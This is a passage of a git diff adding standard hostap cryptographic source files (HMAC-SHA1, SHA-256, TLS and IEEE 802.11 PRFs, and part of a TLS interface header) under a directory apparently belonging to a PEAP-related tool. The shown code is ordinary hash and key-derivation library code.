2246, Chapter 5 + * A(0) = seed, A(i) = HMAC(secret, A(i-1)) + * P_hash = HMAC(secret, A(1) + seed) + HMAC(secret, A(2) + seed) + .. + * PRF = P_MD5(S1, label + seed) XOR P_SHA-1(S2, label + seed) + */ + + L_S1 = L_S2 = (secret_len + 1) / 2; + S1 = secret; + S2 = secret + L_S1; + if (secret_len & 1) { + /* The last byte of S1 will be shared with S2 */ + S2--; + } + + hmac_md5_vector(S1, L_S1, 2, &MD5_addr[1], &MD5_len[1], A_MD5); + hmac_sha1_vector(S2, L_S2, 2, &SHA1_addr[1], &SHA1_len[1], A_SHA1); + + MD5_pos = MD5_MAC_LEN; + SHA1_pos = SHA1_MAC_LEN; + for (i = 0; i < outlen; i++) { + if (MD5_pos == MD5_MAC_LEN) { + hmac_md5_vector(S1, L_S1, 3, MD5_addr, MD5_len, P_MD5); + MD5_pos = 0; + hmac_md5(S1, L_S1, A_MD5, MD5_MAC_LEN, A_MD5); + } + if (SHA1_pos == SHA1_MAC_LEN) { + hmac_sha1_vector(S2, L_S2, 3, SHA1_addr, SHA1_len, + P_SHA1); + SHA1_pos = 0; + hmac_sha1(S2, L_S2, A_SHA1, SHA1_MAC_LEN, A_SHA1); + } + + out[i] = P_MD5[MD5_pos] ^ P_SHA1[SHA1_pos]; + + MD5_pos++; + SHA1_pos++; + } + + return 0; +} diff --git a/peapwn/mods/hostap/src/crypto/sha1-tprf.c b/peapwn/mods/hostap/src/crypto/sha1-tprf.c new file mode 100644 index 000000000..a52949462 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/sha1-tprf.c @@ -0,0 +1,70 @@ +/* + * SHA1 T-PRF for EAP-FAST + * Copyright (c) 2003-2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "sha1.h" +#include "crypto.h" + +/** + * sha1_t_prf - EAP-FAST Pseudo-Random Function (T-PRF) + * @key: Key for PRF + * @key_len: Length of the key in bytes + * @label: A unique label for each purpose of the PRF + * @seed: Seed value to bind into the key + * @seed_len: Length of the seed + * @buf: Buffer for the generated pseudo-random key + * @buf_len: Number of bytes of key to generate + * Returns: 0 on success, -1 of failure + * + * This function is used to derive new, cryptographically separate keys from a + * given key for EAP-FAST. T-PRF is defined in RFC 4851, Section 5.5. + */ +int sha1_t_prf(const u8 *key, size_t key_len, const char *label, + const u8 *seed, size_t seed_len, u8 *buf, size_t buf_len) +{ + unsigned char counter = 0; + size_t pos, plen; + u8 hash[SHA1_MAC_LEN]; + size_t label_len = os_strlen(label); + u8 output_len[2]; + const unsigned char *addr[5]; + size_t len[5]; + + addr[0] = hash; + len[0] = 0; + addr[1] = (unsigned char *) label; + len[1] = label_len + 1; + addr[2] = seed; + len[2] = seed_len; + addr[3] = output_len; + len[3] = 2; + addr[4] = &counter; + len[4] = 1; + + output_len[0] = (buf_len >> 8) & 0xff; + output_len[1] = buf_len & 0xff; + pos = 0; + while (pos < buf_len) { + counter++; + plen = buf_len - pos; + if (hmac_sha1_vector(key, key_len, 5, addr, len, hash)) + return -1; + if (plen >= SHA1_MAC_LEN) { + os_memcpy(&buf[pos], hash, SHA1_MAC_LEN); + pos += SHA1_MAC_LEN; + } else { + os_memcpy(&buf[pos], hash, plen); + break; + } + len[0] = SHA1_MAC_LEN; + } + + return 0; +} diff --git a/peapwn/mods/hostap/src/crypto/sha1.c b/peapwn/mods/hostap/src/crypto/sha1.c new file mode 100644 index 000000000..d48c77d75 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/sha1.c @@ -0,0 +1,104 @@ +/* + * SHA1 hash implementation and interface functions + * Copyright (c) 2003-2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "sha1.h" +#include "crypto.h" + + +/** + * hmac_sha1_vector - HMAC-SHA1 over data vector (RFC 2104) + * @key: Key for HMAC operations + * @key_len: Length of the key in bytes + * @num_elem: Number of elements in the data vector + * @addr: Pointers to the data areas + * @len: Lengths of the data blocks + * @mac: Buffer for the hash (20 bytes) + * Returns: 0 on success, -1 on failure + */ +int hmac_sha1_vector(const u8 *key, size_t key_len, size_t num_elem, + const u8 *addr[], const size_t *len, u8 *mac) +{ + unsigned char k_pad[64]; /* padding - key XORd with ipad/opad */ + unsigned char tk[20]; + const u8 *_addr[6]; + size_t _len[6], i; + + if (num_elem > 5) { + /* + * Fixed limit on the number of fragments to avoid having to + * allocate memory (which could fail). + */ + return -1; + } + + /* if key is longer than 64 bytes reset it to key = SHA1(key) */ + if (key_len > 64) { + if (sha1_vector(1, &key, &key_len, tk)) + return -1; + key = tk; + key_len = 20; + } + + /* the HMAC_SHA1 transform looks like: + * + * SHA1(K XOR opad, SHA1(K XOR ipad, text)) + * + * where K is an n byte key + * ipad is the byte 0x36 repeated 64 times + * opad is the byte 0x5c repeated 64 times + * and text is the data being protected */ + + /* start out by storing key in ipad */ + os_memset(k_pad, 0, sizeof(k_pad)); + os_memcpy(k_pad, key, key_len); + /* XOR key with ipad values */ + for (i = 0; i < 64; i++) + k_pad[i] ^= 0x36; + + /* perform inner SHA1 */ + _addr[0] = k_pad; + _len[0] = 64; + for (i = 0; i < num_elem; i++) { + _addr[i + 1] = addr[i]; + _len[i + 1] = len[i]; + } + if (sha1_vector(1 + num_elem, _addr, _len, mac)) + return -1; + + os_memset(k_pad, 0, sizeof(k_pad)); + os_memcpy(k_pad, key, key_len); + /* XOR key with opad values */ + for (i = 0; i < 64; i++) + k_pad[i] ^= 0x5c; + + /* perform outer SHA1 */ + _addr[0] = k_pad; + _len[0] = 64; + _addr[1] = mac; + _len[1] = SHA1_MAC_LEN; + return sha1_vector(2, _addr, _len, mac); +} + + +/** + * hmac_sha1 - HMAC-SHA1 over data buffer (RFC 2104) + * @key: Key for HMAC operations + * @key_len: Length of the key in bytes + * @data: Pointers to the data area + * @data_len: Length of the data area + * @mac: Buffer for the hash (20 bytes) + * Returns: 0 on success, -1 of failure + */ +int hmac_sha1(const u8 *key, size_t key_len, const u8 *data, size_t data_len, + u8 *mac) +{ + return hmac_sha1_vector(key, key_len, 1, &data, &data_len, mac); +} diff --git a/peapwn/mods/hostap/src/crypto/sha1.h b/peapwn/mods/hostap/src/crypto/sha1.h new file mode 100644 index 000000000..933cd81b9 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/sha1.h @@ -0,0 +1,27 @@ +/* + * SHA1 hash implementation and interface functions + * Copyright (c) 2003-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef SHA1_H +#define SHA1_H + +#define SHA1_MAC_LEN 20 + +int hmac_sha1_vector(const u8 *key, size_t key_len, size_t num_elem, + const u8 *addr[], const size_t *len, u8 *mac); +int hmac_sha1(const u8 *key, size_t key_len, const u8 *data, size_t data_len, + u8 *mac); +int sha1_prf(const u8 *key, size_t key_len, const char *label, + const u8 *data, size_t data_len, u8 *buf, size_t buf_len); +int sha1_t_prf(const u8 *key, size_t key_len, const char *label, + const u8 *seed, size_t seed_len, u8 *buf, size_t buf_len); +int __must_check tls_prf_sha1_md5(const u8 *secret, size_t secret_len, + const char *label, const u8 *seed, + size_t seed_len, u8 *out, size_t outlen); +int pbkdf2_sha1(const char *passphrase, const u8 *ssid, size_t ssid_len, + int iterations, u8 *buf, size_t buflen); +#endif /* SHA1_H */ diff --git a/peapwn/mods/hostap/src/crypto/sha1_i.h b/peapwn/mods/hostap/src/crypto/sha1_i.h new file mode 100644 index 000000000..344387e97 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/sha1_i.h @@ -0,0 +1,23 @@ +/* + * SHA1 internal definitions + * Copyright (c) 2003-2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef SHA1_I_H +#define SHA1_I_H + +struct SHA1Context { + u32 state[5]; + u32 count[2]; + unsigned char buffer[64]; +}; + +void SHA1Init(struct SHA1Context *context); +void SHA1Update(struct SHA1Context *context, const void *data, u32 len); +void SHA1Final(unsigned char digest[20], struct SHA1Context *context); +void SHA1Transform(u32 state[5], const unsigned char buffer[64]); + +#endif /* SHA1_I_H */ diff --git a/peapwn/mods/hostap/src/crypto/sha256-internal.c b/peapwn/mods/hostap/src/crypto/sha256-internal.c new file mode 100644 index 000000000..35299b052 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/sha256-internal.c @@ -0,0 +1,226 @@ +/* + * SHA-256 hash implementation and interface functions + * Copyright (c) 2003-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "sha256.h" +#include "sha256_i.h" +#include "crypto.h" + + +/** + * sha256_vector - SHA256 hash for data vector + * @num_elem: Number of elements in the data vector + * @addr: Pointers to the data areas + * @len: Lengths of the data blocks + * @mac: Buffer for the hash + * Returns: 0 on success, -1 of failure + */ +int sha256_vector(size_t num_elem, const u8 *addr[], const size_t *len, + u8 *mac) +{ + struct sha256_state ctx; + size_t i; + + sha256_init(&ctx); + for (i = 0; i < num_elem; i++) + if (sha256_process(&ctx, addr[i], len[i])) + return -1; + if (sha256_done(&ctx, mac)) + return -1; + return 0; +} + + +/* ===== start - public domain SHA256 implementation ===== */ + +/* This is based on SHA256 implementation in LibTomCrypt that was released into + * public domain by Tom St Denis. */ + +/* the K array */ +static const unsigned long K[64] = { + 0x428a2f98UL, 0x71374491UL, 0xb5c0fbcfUL, 0xe9b5dba5UL, 0x3956c25bUL, + 0x59f111f1UL, 0x923f82a4UL, 0xab1c5ed5UL, 0xd807aa98UL, 0x12835b01UL, + 0x243185beUL, 0x550c7dc3UL, 0x72be5d74UL, 0x80deb1feUL, 0x9bdc06a7UL, + 0xc19bf174UL, 0xe49b69c1UL, 0xefbe4786UL, 0x0fc19dc6UL, 0x240ca1ccUL, + 0x2de92c6fUL, 0x4a7484aaUL, 0x5cb0a9dcUL, 0x76f988daUL, 0x983e5152UL, + 0xa831c66dUL, 0xb00327c8UL, 0xbf597fc7UL, 0xc6e00bf3UL, 0xd5a79147UL, + 0x06ca6351UL, 0x14292967UL, 0x27b70a85UL, 0x2e1b2138UL, 0x4d2c6dfcUL, + 0x53380d13UL, 0x650a7354UL, 0x766a0abbUL, 0x81c2c92eUL, 0x92722c85UL, + 0xa2bfe8a1UL, 0xa81a664bUL, 0xc24b8b70UL, 0xc76c51a3UL, 0xd192e819UL, + 0xd6990624UL, 0xf40e3585UL, 0x106aa070UL, 0x19a4c116UL, 0x1e376c08UL, + 0x2748774cUL, 0x34b0bcb5UL, 0x391c0cb3UL, 0x4ed8aa4aUL, 0x5b9cca4fUL, + 0x682e6ff3UL, 0x748f82eeUL, 0x78a5636fUL, 0x84c87814UL, 0x8cc70208UL, + 0x90befffaUL, 0xa4506cebUL, 0xbef9a3f7UL, 0xc67178f2UL +}; + + +/* Various logical functions */ +#define RORc(x, y) \ +( ((((unsigned long) (x) & 0xFFFFFFFFUL) >> (unsigned long) ((y) & 31)) | \ + ((unsigned long) (x) << (unsigned long) (32 - ((y) & 31)))) & 0xFFFFFFFFUL) +#define Ch(x,y,z) (z ^ (x & (y ^ z))) +#define Maj(x,y,z) (((x | y) & z) | (x & y)) +#define S(x, n) RORc((x), (n)) +#define R(x, n) (((x)&0xFFFFFFFFUL)>>(n)) +#define Sigma0(x) (S(x, 2) ^ S(x, 13) ^ S(x, 22)) +#define Sigma1(x) (S(x, 6) ^ S(x, 11) ^ S(x, 25)) +#define Gamma0(x) (S(x, 7) ^ S(x, 18) ^ R(x, 3)) +#define Gamma1(x) (S(x, 17) ^ S(x, 19) ^ R(x, 10)) +#ifndef MIN +#define MIN(x, y) (((x) < (y)) ? (x) : (y)) +#endif + +/* compress 512-bits */ +static int sha256_compress(struct sha256_state *md, unsigned char *buf) +{ + u32 S[8], W[64], t0, t1; + u32 t; + int i; + + /* copy state into S */ + for (i = 0; i < 8; i++) { + S[i] = md->state[i]; + } + + /* copy the state into 512-bits into W[0..15] */ + for (i = 0; i < 16; i++) + W[i] = WPA_GET_BE32(buf + (4 * i)); + + /* fill W[16..63] */ + for (i = 16; i < 64; i++) { + W[i] = Gamma1(W[i - 2]) + W[i - 7] + Gamma0(W[i - 15]) + + W[i - 16]; + } + + /* Compress */ +#define RND(a,b,c,d,e,f,g,h,i) \ + t0 = h + Sigma1(e) + Ch(e, f, g) + K[i] + W[i]; \ + t1 = Sigma0(a) + Maj(a, b, c); \ + d += t0; \ + h = t0 + t1; + + for (i = 0; i < 64; ++i) { + RND(S[0], S[1], S[2], S[3], S[4], S[5], S[6], S[7], i); + t = S[7]; S[7] = S[6]; S[6] = S[5]; S[5] = S[4]; + S[4] = S[3]; S[3] = S[2]; S[2] = S[1]; S[1] = S[0]; S[0] = t; + } + + /* feedback */ + for (i = 0; i < 8; i++) { + md->state[i] = md->state[i] + S[i]; + } + return 0; +} + + +/* Initialize the hash state */ +void sha256_init(struct sha256_state *md) +{ + md->curlen = 0; + md->length = 0; + md->state[0] = 0x6A09E667UL; + md->state[1] = 0xBB67AE85UL; + md->state[2] = 0x3C6EF372UL; + md->state[3] = 0xA54FF53AUL; + md->state[4] = 0x510E527FUL; + md->state[5] = 0x9B05688CUL; + md->state[6] = 0x1F83D9ABUL; + md->state[7] = 0x5BE0CD19UL; +} + +/** + Process a block of memory though the hash + @param md The hash state + @param in The data to hash + @param inlen The length of the data (octets) + @return CRYPT_OK if successful +*/ +int sha256_process(struct sha256_state *md, const unsigned char *in, + unsigned long inlen) +{ + unsigned long n; + + if (md->curlen >= sizeof(md->buf)) + return -1; + + while (inlen > 0) { + if (md->curlen == 0 && inlen >= SHA256_BLOCK_SIZE) { + if (sha256_compress(md, (unsigned char *) in) < 0) + return -1; + md->length += SHA256_BLOCK_SIZE * 8; + in += SHA256_BLOCK_SIZE; + inlen -= SHA256_BLOCK_SIZE; + } else { + n = MIN(inlen, (SHA256_BLOCK_SIZE - md->curlen)); + os_memcpy(md->buf + md->curlen, in, n); + md->curlen += n; + in += n; + inlen -= n; + if (md->curlen == SHA256_BLOCK_SIZE) { + if (sha256_compress(md, md->buf) < 0) + return -1; + md->length += 8 * SHA256_BLOCK_SIZE; + md->curlen = 0; + } + } + } + + return 0; +} + + +/** + Terminate the hash to get the digest + @param md The hash state + @param out [out] The destination of the hash (32 bytes) + @return CRYPT_OK if successful +*/ +int sha256_done(struct sha256_state *md, unsigned char *out) +{ + int i; + + if (md->curlen >= sizeof(md->buf)) + return -1; + + /* increase the length of the message */ + md->length += md->curlen * 8; + + /* append the '1' bit */ + md->buf[md->curlen++] = (unsigned char) 0x80; + + /* if the length is currently above 56 bytes we append zeros + * then compress. Then we can fall back to padding zeros and length + * encoding like normal. + */ + if (md->curlen > 56) { + while (md->curlen < SHA256_BLOCK_SIZE) { + md->buf[md->curlen++] = (unsigned char) 0; + } + sha256_compress(md, md->buf); + md->curlen = 0; + } + + /* pad up to 56 bytes of zeroes */ + while (md->curlen < 56) { + md->buf[md->curlen++] = (unsigned char) 0; + } + + /* store length */ + WPA_PUT_BE64(md->buf + 56, md->length); + sha256_compress(md, md->buf); + + /* copy output */ + for (i = 0; i < 8; i++) + WPA_PUT_BE32(out + (4 * i), md->state[i]); + + return 0; +} + +/* ===== end - public domain SHA256 implementation ===== */ diff --git a/peapwn/mods/hostap/src/crypto/sha256-prf.c b/peapwn/mods/hostap/src/crypto/sha256-prf.c new file mode 100644 index 000000000..9a11208f5 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/sha256-prf.c @@ -0,0 +1,98 @@ +/* + * SHA256-based PRF (IEEE 802.11r) + * Copyright (c) 2003-2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "sha256.h" +#include "crypto.h" + + +/** + * sha256_prf - SHA256-based Pseudo-Random Function (IEEE 802.11r, 8.5.1.5.2) + * @key: Key for PRF + * @key_len: Length of the key in bytes + * @label: A unique label for each purpose of the PRF + * @data: Extra data to bind into the key + * @data_len: Length of the data + * @buf: Buffer for the generated pseudo-random key + * @buf_len: Number of bytes of key to generate + * + * This function is used to derive new, cryptographically separate keys from a + * given key. + */ +void sha256_prf(const u8 *key, size_t key_len, const char *label, + const u8 *data, size_t data_len, u8 *buf, size_t buf_len) +{ + sha256_prf_bits(key, key_len, label, data, data_len, buf, buf_len * 8); +} + + +/** + * sha256_prf_bits - IEEE Std 802.11-2012, 11.6.1.7.2 Key derivation function + * @key: Key for KDF + * @key_len: Length of the key in bytes + * @label: A unique label for each purpose of the PRF + * @data: Extra data to bind into the key + * @data_len: Length of the data + * @buf: Buffer for the generated pseudo-random key + * @buf_len: Number of bits of key to generate + * + * This function is used to derive new, cryptographically separate keys from a + * given key. If the requested buf_len is not divisible by eight, the least + * significant 1-7 bits of the last octet in the output are not part of the + * requested output. + */ +void sha256_prf_bits(const u8 *key, size_t key_len, const char *label, + const u8 *data, size_t data_len, u8 *buf, + size_t buf_len_bits) +{ + u16 counter = 1; + size_t pos, plen; + u8 hash[SHA256_MAC_LEN]; + const u8 *addr[4]; + size_t len[4]; + u8 counter_le[2], length_le[2]; + size_t buf_len = (buf_len_bits + 7) / 8; + + addr[0] = counter_le; + len[0] = 2; + addr[1] = (u8 *) label; + len[1] = os_strlen(label); + addr[2] = data; + len[2] = data_len; + addr[3] = length_le; + len[3] = sizeof(length_le); + + WPA_PUT_LE16(length_le, buf_len_bits); + pos = 0; + while (pos < buf_len) { + plen = buf_len - pos; + WPA_PUT_LE16(counter_le, counter); + if (plen >= SHA256_MAC_LEN) { + hmac_sha256_vector(key, key_len, 4, addr, len, + &buf[pos]); + pos += SHA256_MAC_LEN; + } else { + hmac_sha256_vector(key, key_len, 4, addr, len, hash); + os_memcpy(&buf[pos], hash, plen); + pos += plen; + break; + } + counter++; + } + + /* + * Mask out unused bits in the last octet if it does not use all the + * bits. + */ + if (buf_len_bits % 8) { + u8 mask = 0xff << (8 - buf_len_bits % 8); + buf[pos - 1] &= mask; + } +} diff --git a/peapwn/mods/hostap/src/crypto/sha256-tlsprf.c b/peapwn/mods/hostap/src/crypto/sha256-tlsprf.c new file mode 100644 index 000000000..0528dadfd --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/sha256-tlsprf.c @@ -0,0 +1,66 @@ +/* + * TLS PRF P_SHA256 + * Copyright (c) 2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "sha256.h" + + +/** + * tls_prf_sha256 - Pseudo-Random Function for TLS v1.2 (P_SHA256, RFC 5246) + * @secret: Key for PRF + * @secret_len: Length of the key in bytes + * @label: A unique label for each purpose of the PRF + * @seed: Seed value to bind into the key + * @seed_len: Length of the seed + * @out: Buffer for the generated pseudo-random key + * @outlen: Number of bytes of key to generate + * Returns: 0 on success, -1 on failure. + * + * This function is used to derive new, cryptographically separate keys from a + * given key in TLS. This PRF is defined in RFC 2246, Chapter 5. + */ +void tls_prf_sha256(const u8 *secret, size_t secret_len, const char *label, + const u8 *seed, size_t seed_len, u8 *out, size_t outlen) +{ + size_t clen; + u8 A[SHA256_MAC_LEN]; + u8 P[SHA256_MAC_LEN]; + size_t pos; + const unsigned char *addr[3]; + size_t len[3]; + + addr[0] = A; + len[0] = SHA256_MAC_LEN; + addr[1] = (unsigned char *) label; + len[1] = os_strlen(label); + addr[2] = seed; + len[2] = seed_len; + + /* + * RFC 5246, Chapter 5 + * A(0) = seed, A(i) = HMAC(secret, A(i-1)) + * P_hash = HMAC(secret, A(1) + seed) + HMAC(secret, A(2) + seed) + .. + * PRF(secret, label, seed) = P_SHA256(secret, label + seed) + */ + + hmac_sha256_vector(secret, secret_len, 2, &addr[1], &len[1], A); + + pos = 0; + while (pos < outlen) { + hmac_sha256_vector(secret, secret_len, 3, addr, len, P); + hmac_sha256(secret, secret_len, A, SHA256_MAC_LEN, A); + + clen = outlen - pos; + if (clen > SHA256_MAC_LEN) + clen = SHA256_MAC_LEN; + os_memcpy(out + pos, P, clen); + pos += clen; + } +} diff --git a/peapwn/mods/hostap/src/crypto/sha256.c b/peapwn/mods/hostap/src/crypto/sha256.c new file mode 100644 index 000000000..b55e976f3 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/sha256.c @@ -0,0 +1,104 @@ +/* + * SHA-256 hash implementation and interface functions + * Copyright (c) 2003-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "sha256.h" +#include "crypto.h" + + +/** + * hmac_sha256_vector - HMAC-SHA256 over data vector (RFC 2104) + * @key: Key for HMAC operations + * @key_len: Length of the key in bytes + * @num_elem: Number of elements in the data vector + * @addr: Pointers to the data areas + * @len: Lengths of the data blocks + * @mac: Buffer for the hash (32 bytes) + * Returns: 0 on success, -1 on failure + */ +int hmac_sha256_vector(const u8 *key, size_t key_len, size_t num_elem, + const u8 *addr[], const size_t *len, u8 *mac) +{ + unsigned char k_pad[64]; /* padding - key XORd with ipad/opad */ + unsigned char tk[32]; + const u8 *_addr[6]; + size_t _len[6], i; + + if (num_elem > 5) { + /* + * Fixed limit on the number of fragments to avoid having to + * allocate memory (which could fail). + */ + return -1; + } + + /* if key is longer than 64 bytes reset it to key = SHA256(key) */ + if (key_len > 64) { + if (sha256_vector(1, &key, &key_len, tk) < 0) + return -1; + key = tk; + key_len = 32; + } + + /* the HMAC_SHA256 transform looks like: + * + * SHA256(K XOR opad, SHA256(K XOR ipad, text)) + * + * where K is an n byte key + * ipad is the byte 0x36 repeated 64 times + * opad is the byte 0x5c repeated 64 times + * and text is the data being protected */ + + /* start out by storing key in ipad */ + os_memset(k_pad, 0, sizeof(k_pad)); + os_memcpy(k_pad, key, key_len); + /* XOR key with ipad values */ + for (i = 0; i < 64; i++) + k_pad[i] ^= 0x36; + + /* perform inner SHA256 */ + _addr[0] = k_pad; + _len[0] = 64; + for (i = 0; i < num_elem; i++) { + _addr[i + 1] = addr[i]; + _len[i + 1] = len[i]; + } + if (sha256_vector(1 + num_elem, _addr, _len, mac) < 0) + return -1; + + os_memset(k_pad, 0, sizeof(k_pad)); + os_memcpy(k_pad, key, key_len); + /* XOR key with opad values */ + for (i = 0; i < 64; i++) + k_pad[i] ^= 0x5c; + + /* perform outer SHA256 */ + _addr[0] = k_pad; + _len[0] = 64; + _addr[1] = mac; + _len[1] = SHA256_MAC_LEN; + return sha256_vector(2, _addr, _len, mac); +} + + +/** + * hmac_sha256 - HMAC-SHA256 over data buffer (RFC 2104) + * @key: Key for HMAC operations + * @key_len: Length of the key in bytes + * @data: Pointers to the data area + * @data_len: Length of the data area + * @mac: Buffer for the hash (32 bytes) + * Returns: 0 on success, -1 on failure + */ +int hmac_sha256(const u8 *key, size_t key_len, const u8 *data, + size_t data_len, u8 *mac) +{ + return hmac_sha256_vector(key, key_len, 1, &data, &data_len, mac); +} diff --git a/peapwn/mods/hostap/src/crypto/sha256.h b/peapwn/mods/hostap/src/crypto/sha256.h new file mode 100644 index 000000000..7596a5221 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/sha256.h @@ -0,0 +1,27 @@ +/* + * SHA256 hash implementation and interface functions + * Copyright (c) 2003-2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef SHA256_H +#define SHA256_H + +#define SHA256_MAC_LEN 32 + +int hmac_sha256_vector(const u8 *key, size_t key_len, size_t num_elem, + const u8 *addr[], const size_t *len, u8 *mac); +int hmac_sha256(const u8 *key, size_t key_len, const u8 *data, + size_t data_len, u8 *mac); +void sha256_prf(const u8 *key, size_t key_len, const char *label, + const u8 *data, size_t data_len, u8 *buf, size_t buf_len); +void sha256_prf_bits(const u8 *key, size_t key_len, const char *label, + const u8 *data, size_t data_len, u8 *buf, + size_t buf_len_bits); +void tls_prf_sha256(const u8 *secret, size_t secret_len, + const char *label, const u8 *seed, size_t seed_len, + u8 *out, size_t outlen); + +#endif /* SHA256_H */ diff --git a/peapwn/mods/hostap/src/crypto/sha256_i.h b/peapwn/mods/hostap/src/crypto/sha256_i.h new file mode 100644 index 000000000..a502d2ba5 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/sha256_i.h @@ -0,0 +1,25 @@ +/* + * SHA-256 internal definitions + * Copyright (c) 2003-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef SHA256_I_H +#define SHA256_I_H + +#define SHA256_BLOCK_SIZE 64 + +struct sha256_state { + u64 length; + u32 state[8], curlen; + u8 buf[SHA256_BLOCK_SIZE]; +}; + +void sha256_init(struct sha256_state *md); +int sha256_process(struct sha256_state *md, const unsigned char *in, + unsigned long inlen); +int sha256_done(struct sha256_state *md, unsigned char *out); + +#endif /* SHA256_I_H */ diff --git a/peapwn/mods/hostap/src/crypto/tls.h b/peapwn/mods/hostap/src/crypto/tls.h new file mode 100644 index 000000000..feba13ffc --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/tls.h @@ -0,0 +1,538 @@ +/* + * SSL/TLS interface definition + * Copyright (c) 2004-2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef TLS_H +#define TLS_H + +struct tls_connection; + +struct tls_keys { + const u8 *master_key; /* TLS master secret */ + size_t master_key_len; + const u8 *client_random; + size_t client_random_len; + const u8 *server_random; + size_t server_random_len; +}; + +enum tls_event { + TLS_CERT_CHAIN_SUCCESS, + TLS_CERT_CHAIN_FAILURE, + TLS_PEER_CERTIFICATE, + TLS_ALERT +}; + +/* + * Note: These are used as identifier with external programs and as such, the + * values must not be changed. + */ +enum tls_fail_reason { + TLS_FAIL_UNSPECIFIED = 0, + TLS_FAIL_UNTRUSTED = 1, + TLS_FAIL_REVOKED = 2, + TLS_FAIL_NOT_YET_VALID = 3, + TLS_FAIL_EXPIRED = 4, + TLS_FAIL_SUBJECT_MISMATCH = 5, + TLS_FAIL_ALTSUBJECT_MISMATCH = 6, + TLS_FAIL_BAD_CERTIFICATE = 7, + TLS_FAIL_SERVER_CHAIN_PROBE = 8, + TLS_FAIL_DOMAIN_SUFFIX_MISMATCH = 9 +}; + +union tls_event_data { + struct { + int depth; + const char *subject; + enum tls_fail_reason reason; + const char *reason_txt; + const struct wpabuf *cert; + } cert_fail; + + struct { + int depth; + const char *subject; + const struct wpabuf *cert; + const u8 *hash; + size_t hash_len; + } peer_cert; + + struct { + int is_local; + const char *type; + const char *description; + } alert; +}; + +struct tls_config { + const char *opensc_engine_path; + const char *pkcs11_engine_path; + const char *pkcs11_module_path; + int fips_mode; + int cert_in_cb; + + void (*event_cb)(void *ctx, enum tls_event ev, + union tls_event_data *data); + void *cb_ctx; +}; + +#define TLS_CONN_ALLOW_SIGN_RSA_MD5 BIT(0) +#define TLS_CONN_DISABLE_TIME_CHECKS BIT(1) +#define TLS_CONN_DISABLE_SESSION_TICKET BIT(2) +#define TLS_CONN_REQUEST_OCSP BIT(3) +#define TLS_CONN_REQUIRE_OCSP BIT(4) + +/** + * struct tls_connection_params - Parameters for TLS connection + * @ca_cert: File or reference name for CA X.509 certificate in PEM or DER + * format + * @ca_cert_blob: ca_cert as inlined data or %NULL if not used + * @ca_cert_blob_len: ca_cert_blob length + * @ca_path: Path to CA certificates (OpenSSL specific) + * @subject_match: String to match in the subject of the peer certificate or + * %NULL to allow all subjects + * @altsubject_match: String to match in the alternative subject of the peer + * certificate or %NULL to allow all alternative subjects + * @suffix_match: String to suffix match in the dNSName or CN of the peer + * certificate or %NULL to allow all domain names + * @client_cert: File or reference name for client X.509 certificate in PEM or + * DER format + * @client_cert_blob: client_cert as inlined data or %NULL if not used + * @client_cert_blob_len: client_cert_blob length + * @private_key: File or reference name for client private key in PEM or DER + * format (traditional format (RSA PRIVATE KEY) or PKCS#8 (PRIVATE KEY) + * @private_key_blob: private_key as inlined data or %NULL if not used + * @private_key_blob_len: private_key_blob length + * @private_key_passwd: Passphrase for decrypted private key, %NULL if no + * passphrase is used. + * @dh_file: File name for DH/DSA data in PEM format, or %NULL if not used + * @dh_blob: dh_file as inlined data or %NULL if not used + * @dh_blob_len: dh_blob length + * @engine: 1 = use engine (e.g., a smartcard) for private key operations + * (this is OpenSSL specific for now) + * @engine_id: engine id string (this is OpenSSL specific for now) + * @ppin: pointer to the pin variable in the configuration + * (this is OpenSSL specific for now) + * @key_id: the private key's id when using engine (this is OpenSSL + * specific for now) + * @cert_id: the certificate's id when using engine + * @ca_cert_id: the CA certificate's id when using engine + * @flags: Parameter options (TLS_CONN_*) + * @ocsp_stapling_response: DER encoded file with cached OCSP stapling response + * or %NULL if OCSP is not enabled + * + * TLS connection parameters to be configured with tls_connection_set_params() + * and tls_global_set_params(). + * + * Certificates and private key can be configured either as a reference name + * (file path or reference to certificate store) or by providing the same data + * as a pointer to the data in memory. Only one option will be used for each + * field. + */ +struct tls_connection_params { + const char *ca_cert; + const u8 *ca_cert_blob; + size_t ca_cert_blob_len; + const char *ca_path; + const char *subject_match; + const char *altsubject_match; + const char *suffix_match; + const char *client_cert; + const u8 *client_cert_blob; + size_t client_cert_blob_len; + const char *private_key; + const u8 *private_key_blob; + size_t private_key_blob_len; + const char *private_key_passwd; + const char *dh_file; + const u8 *dh_blob; + size_t dh_blob_len; + + /* OpenSSL specific variables */ + int engine; + const char *engine_id; + const char *pin; + const char *key_id; + const char *cert_id; + const char *ca_cert_id; + + unsigned int flags; + const char *ocsp_stapling_response; +}; + + +/** + * tls_init - Initialize TLS library + * @conf: Configuration data for TLS library + * Returns: Context data to be used as tls_ctx in calls to other functions, + * or %NULL on failure. + * + * Called once during program startup and 